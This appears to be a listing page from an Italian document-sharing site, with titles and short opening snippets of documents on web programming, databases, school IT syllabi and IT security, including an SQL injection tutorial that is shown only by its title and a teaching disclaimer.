PIANO DI LAVORO EFFETTIVAMENTE SVOLTO IN RELAZIONE ALLA PROGRAMMAZIONE DISCIPLINARE Istituto di Istruzione Secondaria Superiore ETTORE MAJORANA 24068 SERIATE (BG) Via Partigiani 1 -Tel. 035-297612 - Fax 035-301672 e-mail: majorana@ettoremajorana.gov.it - sito internet: www.ettoremajorana.gov.it

Dettagli

RenderCAD S.r.l. Formazione

RenderCAD S.r.l. Formazione Corso Descrizione La durata di questo corso è complessivamente di ore 150 di cui 85 ore di teoria, 35 ore di pratica e 30 ore di stage in azienda. Nel nostro territorio esiste una richiesta di tale figura,

Dettagli

AJAX. Goy - a.a. 2006/2007 Servizi Web 1. Cos'è il Web 2.0

AJAX. Goy - a.a. 2006/2007 Servizi Web 1. Cos'è il Web 2.0 AJAX Goy - a.a. 2006/2007 Servizi Web 1 Cos'è il Web 2.0 Web 2.0 = termine introdotto per la prima volta nel 2004 come titolo di una conferenza promossa dalla casa editrice O Reilly L'idea è che ci si

Dettagli

Introduzione all elaborazione di database nel Web

Introduzione all elaborazione di database nel Web Introduzione all elaborazione di database nel Web Prof.ssa M. Cesa 1 Concetti base del Web Il Web è formato da computer nella rete Internet connessi fra loro in una modalità particolare che consente un

Dettagli

APPENDICE B Le Active Server Page

APPENDICE B Le Active Server Page APPENDICE B Le Active Server Page B.1 Introduzione ad ASP La programmazione web è nata con la Common Gateway Interface. L interfaccia CGI tuttavia presenta dei limiti: ad esempio anche per semplici elaborazioni

Dettagli

Glossario servizi di Sicurezza Informatica offerti

Glossario servizi di Sicurezza Informatica offerti Glossario servizi di Sicurezza Informatica offerti Copyright LaPSIX 2007 Glossario servizi offerti di sicurezza Informatica SINGLE SIGN-ON Il Single Sign-On prevede che la parte client di un sistema venga

Dettagli

Architetture Web parte 2

Architetture Web parte 2 Architetture Web parte 2 Programmazione in Ambienti Distribuiti A.A. 2004-05 Sessione Un insieme di richieste, provenienti dallo stesso browser e dirette allo stesso server, confinate in un dato lasso

Dettagli

BOLLETTINO DI SICUREZZA INFORMATICA

BOLLETTINO DI SICUREZZA INFORMATICA STATO MAGGIORE DELLA DIFESA II Reparto Informazioni e Sicurezza Ufficio Sicurezza Difesa Sezione Gestione del Rischio CERT Difesa CC BOLLETTINO DI SICUREZZA INFORMATICA N. 5/2008 Il bollettino può essere

Dettagli

Applicazione client-server in PHP con database MySQL

Applicazione client-server in PHP con database MySQL Applicazione client-server in PHP con database MySQL Emanuele Scapin 1 1 Liceo Statale F.Corradini, via Milano 1, 36016 Thiene 30/05/2012 1 Premessa Dopo la trattazione di argomenti teorici di progettazione

Dettagli

M070 ESAME DI STATO DI ISTITUTO TECNICO INDUSTRIALE

M070 ESAME DI STATO DI ISTITUTO TECNICO INDUSTRIALE Pag. 1/1 Sessione ordinaria 2009 Seconda prova scritta M070 ESAME DI STATO DI ISTITUTO TECNICO INDUSTRIALE CORSO DI ORDINAMENTO Indirizzo: INFORMATICA Tema di: INFORMATICA (Testo valevole per i corsi di

Dettagli

ISTITUTO STATALE D ISTRUZIONE SUPERIORE FERRARIS - BRUNELLESCHI EMPOLI

ISTITUTO STATALE D ISTRUZIONE SUPERIORE FERRARIS - BRUNELLESCHI EMPOLI ISTITUTO STATALE D ISTRUZIONE SUPERIORE FERRARIS - BRUNELLESCHI EMPOLI Anno scolastico 2014/2015 Classe: 5^A inf Prof.ssa C. Lami Prof. S. Calugi Materia: INFORMATICA GENERALE, APPLICAZIONI TECNICO SCIENTIFICHE

Dettagli

Concetti base. Impianti Informatici. Web application

Concetti base. Impianti Informatici. Web application Concetti base Web application La diffusione del World Wide Web 2 Supporto ai ricercatori Organizzazione documentazione Condivisione informazioni Scambio di informazioni di qualsiasi natura Chat Forum Intranet

Dettagli

Privacy Policy e utilizzo dei cookie.

Privacy Policy e utilizzo dei cookie. Privacy Policy e utilizzo dei cookie. Privacy Policy Informativa resa ai sensi dell articolo 13 del D.lgs. n.196/2003 ai visitatori del sito di Hakomagazine e fruitori dei servizi offerti dallo stesso,

Dettagli

FileMaker 11. Guida ODBC e JDBC

FileMaker 11. Guida ODBC e JDBC FileMaker 11 Guida ODBC e JDBC 2004 2010 FileMaker, Inc. Tutti i diritti riservati. FileMaker, Inc. 5201 Patrick Henry Drive Santa Clara, California 95054 FileMaker è un marchio di FileMaker, Inc. registrato

Dettagli

PROGRAMMA DI INFORMATICA

PROGRAMMA DI INFORMATICA PROGRAMMA DI INFORMATICA CLASSE 5 B Sistemi Informativi Aziendali A.S. 2014/2015 DOCENTE CORREDDU GIOVANNA ITP PANZERA GRAZIA Materiale didattico Libro di testo: Iacobelli, Ajme, Marrone, Brunetti, Eprogram-Informatica

Dettagli

Creare un portale web con strumenti Open Source

Creare un portale web con strumenti Open Source Creare un portale web con strumenti Open Source Il caso di Arsié http://www.arsie.net 1/30 Lucia De Pasqual lucia@arsie.net BLUG - Belluno Linux User Group http://belluno.linux.it CMS e Portali Content

Dettagli

Corso di Informatica Modulo T3 B1 Programmazione web

Corso di Informatica Modulo T3 B1 Programmazione web Corso di Informatica Modulo T3 B1 Programmazione web 1 Prerequisiti Architettura client/server Elementi del linguaggio HTML web server SQL server Concetti generali sulle basi di dati 2 1 Introduzione Lo

Dettagli

Internet. Servizi applicativi

Internet. Servizi applicativi Internet Internet 1 Servizi applicativi World Wide Web: consultazione interattiva di ipermedia con modalità point-and-click browser e navigazione configurazione e sicurezza i motori di ricerca accesso

Dettagli

PROGETTI DISPONIBILI IL CORSO DI PROGETTO DI RETI E SISTEMI INFORMATICI

PROGETTI DISPONIBILI IL CORSO DI PROGETTO DI RETI E SISTEMI INFORMATICI PROGETTI DISPONIBILI IL CORSO DI PROGETTO DI RETI E SISTEMI INFORMATICI 1 Web Link Monitor... 2 2 Database Browser... 4 3 Network Monitor... 5 4 Ghost Site... 7 5 Copy Search... 9 6 Remote Audio Video

Dettagli

Indice generale. Capitolo 3 Introduzione a PHP...43 Sintassi e istruzioni di base... 45 Variabili, operatori e commenti... 47 Array...

Indice generale. Capitolo 3 Introduzione a PHP...43 Sintassi e istruzioni di base... 45 Variabili, operatori e commenti... 47 Array... Prefazione...xiii A chi si rivolge il libro... xiv Struttura e contenuti del libro... xiv Dove trovare aiuto... xvii Le newsletter di SitePoint... xviii I vostri commenti... xviii Convenzioni adottate

Dettagli

Obiettivi d esame PHP Developer Fundamentals on MySQL Environment

Obiettivi d esame PHP Developer Fundamentals on MySQL Environment Obiettivi d esame PHP Developer Fundamentals on MySQL Environment 1.0 Ambiente di sviluppo 1.1 Web server e database MySQL Comprendere la definizione dei processi che si occupano di fornire i servizi web

Dettagli

Programmazione Java Avanzata

Programmazione Java Avanzata Programmazione Java Avanzata Accesso ai Dati Ing. Giuseppe D'Aquì Testi Consigliati Eclipse In Action Core J2EE Patterns - DAO [http://java.sun.com/blueprints/corej2eepatterns/patterns/dataaccessobject.html]

Dettagli

FileMaker Pro 12. Guida di FileMaker Server

FileMaker Pro 12. Guida di FileMaker Server FileMaker Pro 12 Guida di FileMaker Server 2007 2012 FileMaker, Inc. Tutti i diritti riservati. FileMaker, Inc. 5201 Patrick Henry Drive Santa Clara, California 95054 FileMaker è un marchio di FileMaker,

Dettagli

Capitoli 8 e 9. SQL embedded. Applicazioni tradizionali Applicazioni Internet. Sistemi di basi di dati Raghu Ramakrishnan, Johannes Gehrke

Capitoli 8 e 9. SQL embedded. Applicazioni tradizionali Applicazioni Internet. Sistemi di basi di dati Raghu Ramakrishnan, Johannes Gehrke Capitoli 8 e 9 Applicazioni tradizionali Applicazioni Internet SQL embedded SQL nel codice applicativo I comandi SQL possono essere chiamati dall interno di un programma in un linguaggio ospite (ad esempio

Dettagli

Spett.le CRIF Via M. Fantin, 1-3 40131 Bologna

Spett.le CRIF Via M. Fantin, 1-3 40131 Bologna Spett.le CRIF Via M. Fantin, 1-3 40131 Bologna Milano, 13 Novembre 2006 n. 20061113.mb44 Alla cortese attenzione: Ing. Carlo Romagnoli Dott.ssa Elisabetta Longhi Oggetto: per Attività di Vulnerability

Dettagli

Firegate SSL 5 - Release notes

Firegate SSL 5 - Release notes Firmware Versione: 3.19 Versione di rilascio ufficiale Aggiunto menu Diagnostics per Ping e Traceroute Aggiunto modalità NAT in DMZ Supporto per VoIP SIP in QoS Aggiunto Traffic Collector per analisi tipologia

Dettagli

FileMaker 12. Guida di Pubblicazione Web Immediata

FileMaker 12. Guida di Pubblicazione Web Immediata FileMaker 12 Guida di Pubblicazione Web Immediata 2004 2012 FileMaker, Inc. Tutti i diritti riservati. FileMaker, Inc. 5201 Patrick Henry Drive Santa Clara, California 95054 FileMaker e Bento sono marchi

Dettagli

Corso di Web programming Modulo T3 A2 - Web server

Corso di Web programming Modulo T3 A2 - Web server Corso di Web programming Modulo T3 A2 - Web server 1 Prerequisiti Pagine statiche e dinamiche Pagine HTML Server e client Cenni ai database e all SQL 2 1 Introduzione In questa Unità si illustra il concetto

Dettagli

BASI DI DATI http://www.diee.unica.it/~giacinto/bd. Cos è il PHP. Cos è il PHP. Esercitazione su PHP & MySQL

BASI DI DATI http://www.diee.unica.it/~giacinto/bd. Cos è il PHP. Cos è il PHP. Esercitazione su PHP & MySQL Università degli Studi di Cagliari Corso di Laurea in Ingegneria Elettronica Contatti BASI DI DATI http://www.diee.unica.it/~giacinto/bd Esercitazione su PHP & MySQL! Roberto Tronci! e-mail: roberto.tronci@diee.unica.it!

Dettagli

Applicazione ASP di esempio

Applicazione ASP di esempio Applicazione ASP di esempio Database in rete Prof. Claudio Maccherani Un server web è un programma che gira su un computer sempre collegato ad Internet e che mette a disposizione file, pagine e servizi.

Dettagli

Sicurezza Informatica: Tecniche di SQL INJECTION

Sicurezza Informatica: Tecniche di SQL INJECTION Sicurezza Informatica: Tecniche di SQL INJECTION Pietro Bongli Aprile 2004 N.B. L'informazione contenuta in queste pagine è divulgata per scopi puramente didattici e non per ni illegali. Structured Query

Dettagli

Spett.le Clever Consulting Via Broletto, 39 20121 Milano

Spett.le Clever Consulting Via Broletto, 39 20121 Milano Spett.le Clever Consulting Via Broletto, 39 20121 Milano Milano, 23 Luglio 2007 n. 20070723.mb29 Alla cortese attenzione: Dr. Antonio Tonani Oggetto: per Attività di Security Assessment per Carige Assicurazioni

Dettagli

Internet: conoscerlo al meglio per usarlo meglio Primi passi con internet Browser Transazioni sicure Antivirus Firewall

Internet: conoscerlo al meglio per usarlo meglio Primi passi con internet Browser Transazioni sicure Antivirus Firewall Internet: conoscerlo al meglio per usarlo meglio Primi passi con internet Browser Transazioni sicure Antivirus Firewall Cosa serve per collegarsi? Un PC Un modem (router) Cosa serve per navigare? Un abbonamento

Dettagli

Integrazione alla guida utente 1

Integrazione alla guida utente 1 RELEASE Versione 20090300 Applicativo: TeamPortal Oggetto: Rilascio versione completa Versione: 20090300 (Versione completa) Data di rilascio: 23.10.2009 Requisiti ambiente Windows Windows Versione 2000

Dettagli

ITI M. FARADAY Programmazione modulare a.s. 2014-2015

ITI M. FARADAY Programmazione modulare a.s. 2014-2015 Indirizzo: INFORMATICA E TELECOMUNICAZIONI Disciplina: Informatica Docente:Maria Teresa Niro Classe: Quinta B Ore settimanali previste: 6 (3 ore Teoria - 3 ore Laboratorio) ITI M. FARADAY Programmazione

Dettagli

Tratte da (18. TECNICHE DI ACCESSO AI DATABASE IN AMBIENTE INTERNET)

Tratte da (18. TECNICHE DI ACCESSO AI DATABASE IN AMBIENTE INTERNET) Tratte da (18. TECNICHE DI ACCESSO AI DATABASE IN AMBIENTE INTERNET) Ipotesi di partenza: concetti di base del networking Le ipotesi di partenza indispensabili per poter parlare di tecniche di accesso

Dettagli

Istruzioni per il cambio della password della casella di posta

Istruzioni per il cambio della password della casella di posta Istruzioni per il cambio della password della casella di posta La password generata e fornita al cliente in fase di creazione della casella di posta è una password temporanea, il cliente è tenuto a modificarla.

Dettagli

JDBC di base. Le classi/interfacce principali di JDBC

JDBC di base. Le classi/interfacce principali di JDBC JDBC di base Java Database Connectivity è il package Java per l accesso a database relazionali il package contiene interfacce e classi astratte completa indipendenza del codice dal tipo di database o di

Dettagli

JDBC versione base. Le classi/interfacce principali di JDBC

JDBC versione base. Le classi/interfacce principali di JDBC JDBC versione base Java Database Connectivity è il package Java per l accesso a database relazionali il package contiene interfacce e classi astratte uno dei pregi è la completa indipendenza del codice

Dettagli

Sistemi per la Gestione delle Basi di Dati

Sistemi per la Gestione delle Basi di Dati Sistemi per la Gestione delle Basi di Dati Esercitazione di Laboratorio N. 4 L esercitazione consiste nel progettare un data warehouse che permetta di gestire la problematica illustrata nei punti seguenti,

Dettagli

Sistemi informativi e Telemedicina Anno Accademico 2008-2009 Prof. Mauro Giacomini

Sistemi informativi e Telemedicina Anno Accademico 2008-2009 Prof. Mauro Giacomini Sistemi informativi e Telemedicina Anno Accademico 2008-2009 Prof. Mauro Giacomini Concetti di base Tre funzioni fondamentali: Autenticazione: riceve le credenziali, le verifica presso un autorità, se

Dettagli

Quando lancerete il browser di vostra scelta, indipendentemente dalla pagina inziale impostata apparirà questa schermata:

Quando lancerete il browser di vostra scelta, indipendentemente dalla pagina inziale impostata apparirà questa schermata: 1 Stabilite una connessione tra il vostro dispositivo wireless (notebook, smartphone, ipad o sim.) e la rete WiFree_1. Di norma, i dispsitivi wireless rilevano automaticamente le reti senza fili disponibili.

Dettagli